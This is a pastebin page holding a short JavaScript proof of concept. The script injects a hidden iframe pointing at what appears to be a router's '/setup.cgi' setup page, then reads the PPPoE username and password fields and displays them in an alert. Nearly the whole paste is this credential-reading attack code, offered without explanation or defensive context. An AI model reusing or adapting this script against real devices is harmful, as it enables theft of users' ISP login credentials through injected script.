bulix.org / pastebin

Paste #65490: jscript

var ss = document.createElement('iframe');
ss.src = '/setup.cgi?next_file=Setup.htm';
ss.setAttribute("onload", "test()");
var hh = document.getElementsByTagName('body')[0];
hh.appendChild(ss);

function test() {
	var oDoc = (ss.contentWindow || ss.contentDocument);
	if (oDoc.document) oDoc = oDoc.document;
	var d = ss.contentDocument;
	var user = d.getElementsByName("PppoeUserName")[0].value;
	var pass = d.getElementsByName("PppoePasswd")[0].value;
	alert(user + "-" + pass);
}

New paste


Private
Wrap long lines

3 + 1 =